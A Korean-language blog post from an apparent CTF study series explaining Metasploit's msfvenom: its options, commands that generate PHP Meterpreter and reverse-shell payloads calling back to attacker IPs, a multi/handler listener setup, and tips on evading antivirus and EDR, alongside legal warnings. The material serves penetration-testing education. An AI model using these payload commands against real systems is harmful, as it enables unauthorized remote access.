msfvenom 기본

agnusdei·2025년 9월 15일

CTF

목록 보기
121/185

msfvenom에 대한 정리 — 한눈에 보기

짧게: msfvenomMetasploit Framework (MSF, Metasploit Framework)독립형 페이로드 생성기(payload generator) 입니다. msfconsole(Metasploit 콘솔)과는 별개의 실행파일로, 페이로드(도구)가 포함된 바이너리, 스크립트, 셸코드(shellcode)를 만들거나 인코딩(encoding) / 인젝션(injection)을 수행합니다.

핵심 개념

  • msfvenom: 페이로드(payload) 생성 및 인코딩 도구. 파일 생성(file) 또는 메모리용 셸코드 생성 가능.
  • msfconsole: Metasploit Framework의 상호작용형 콘솔(interactive console). 공격을 구성하고 핸들러(handler)를 실행할 때 사용.
  • Payload (페이로드): 공격 시 목표 시스템에서 실행될 코드(예: Meterpreter).
  • Meterpreter: Metasploit의 고급 페이로드로, 리모트 쉘과 다양한 포스트익스플로잇(post-exploit) 기능을 제공.

자주 쓰는 옵션 (중요)

(아래 첫 등장 시 괄호 안에 풀네임을 적었습니다.)

  • -p : payload (페이로드) 지정. 예: -p php/reverse_php
  • -f : format (출력 형식). 예: exe, elf, raw, php, python 등.
  • -o : 출력 파일명(output file).
  • -e : encoder (인코더) 지정 — 단순 인코딩으로 AV(안티바이러스, Antivirus) 회피 시도.
  • -b : badchars (제외할 바이트) 지정 — 예: null 바이트 \x00 등.
  • --list payloads : 사용 가능한 페이로드 목록 출력.
  • --list formats : 사용 가능한 포맷 목록 출력.
  • --platform : 대상 플랫폼(예: php, windows, linux, android) 지정.
  • --arch : 아키텍처 지정(architecture) — 예: x86, x64, armle 등.
  • -s : size (셸코드 크기) 조정(일부 페이로드에서 사용).

예) 페이로드 목록에서 Meterpreter 검색:

msfvenom --list payloads | grep meterpreter

(참고: --list payloads / --list payload 오타에 따라 결과가 다를 수 있으니 정확히 사용.)

예제 — 사용자가 준 명령에 대한 설명

  • PHP용 Meterpreter 페이로드를 raw로 만들고 base64로 인코딩:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
  • LHOST (Local Host, 리스닝할 주소) = 공격자(리스너)의 IP.

  • reverse_tcp는 대상(타깃)에서 공격자에게 연결을 역전(reverse)시키는 방식입니다.

  • 간단한 PHP 리버스 쉘 파일 생성:

msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
  • LPORT (Local Port, 리스닝할 포트) = 공격자가 열 포트.

핸들러(리스너) 설정 — msfconsole에서

msfconsole(Metasploit 콘솔)을 열어 아래처럼 설정합니다:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/reverse_php
msf6 exploit(multi/handler) > set LHOST 10.0.2.19
msf6 exploit(multi/handler) > set LPORT 7777
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > exploit

또는 run 명령으로도 실행 가능합니다.

실제 사용 시 고려할 점 (중요 — 사용 전 반드시 확인)

  1. 대상 운영체제 (Operating System): 타깃이 Windows(윈도우), Linux(리눅스), macOS(맥 오에스), Android(안드로이드)인지 확인하세요. 아키텍처(32비트 vs 64비트)도 중요합니다.
  2. 타깃 시스템의 구성요소: PHP(하이퍼텍스트 프리프로세서, PHP), Python(파이썬), 특정 라이브러리 유무에 따라 어떤 페이로드가 가능한지 달라집니다.
  3. 네트워크 제약: 방화벽, NAT, 프록시, 허용된 포트 및 프로토콜(예: Transmission Control Protocol, TCP; Hypertext Transfer Protocol Secure, HTTPS) 여부에 따라 리버스/바인드(bind) 전략을 정해야 합니다. 일부 환경에서는 HTTPS를 통한 리버스 연결이 더 성공적입니다.
  4. 안티바이러스(안티바이러스, Antivirus) 및 탐지: 많은 AV 제품과 EDR(엔드포인트 탐지·대응, Endpoint Detection and Response)은 기본적인 msfvenom 출력물을 탐지합니다. 인코딩(-e)이나 패킹, 커스텀 템플릿이 어느 정도 도움이 될 수 있으나 완전한 회피 보장은 없습니다.
  5. 권한과 법적·윤리적 문제: 허가 없는 침투(unauthorized access)는 불법입니다. 테스트 시에는 항상 명시적 허가를 받아야 하며, 교육 또는 허가된 테스트 환경에서만 사용하세요.
  6. 파일형식과 실행 방법: 웹쉘(PHP, ASP 등)로 배포할 것인지, 실행파일(EXE)로 전달할 것인지, 메모리 인젝션(in-memory injection)을 할 것인지에 따라 방법이 달라집니다. -f raw는 원시 셸코드, -f exe는 실행파일, -f elf는 리눅스 바이너리 등입니다.
  7. 스테이지(staged) vs 스테이지리스(stageless): Meterpreter에는 staged(단계적)와 stageless(단계 없는) 형태가 있습니다. staged는 작은 스테이저(stager)를 먼저 보내고 이후에 큰 스테이지를 받아옵니다. 네트워크 조건에 따라 선택하세요.

고급/세부 옵션 팁

  • -b '\x00\x0a\x0d' 같이 null(널) 바이트 및 줄바꿈을 제외해야 할 때 지정.
  • --platform--arch를 명시적으로 지정하면 생성물이 보다 정확합니다.
  • 메모리 로더(memory loader)나 메타프리트(Meterpreter) 인젝션 관련 작업은 시스템 보호기능(예: ASLR, Address Space Layout Randomization; DEP, Data Execution Prevention)에 의해 차단될 수 있음.
  • 특정 환경에서는 HTTPS(Secure) 리스너(reverse_https)가 더 안정적이고 덜 의심을 받습니다.

흔히 발생하는 실수

  • --list payload vs --list payloads 오타(정확한 명령어 사용 필요).
  • LHOST를 잘못 설정해 NAT/라우팅이 안 되는 내부 IP를 사용.
  • 아키텍처 불일치(64비트 시스템에 32비트 페이로드 등).
  • 생성 후 바로 AV/EDR에 의해 차단되는 경우가 많음 — 테스트 환경에서 확인하세요.

요약 예시(사용자 예시 통합)

생성:

msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php

리스너:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/reverse_php
msf6 exploit(multi/handler) > set LHOST 10.0.2.19
msf6 exploit(multi/handler) > set LPORT 7777
msf6 exploit(multi/handler) > exploit

법적·윤리적 경고 (다시 강조)

무단으로 타인의 시스템을 공격하거나 접근하는 것은 범죄입니다. 항상 대상의 명시적 허가를 받고, 합법적·윤리적 범위 내에서만 사용하세요.


profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글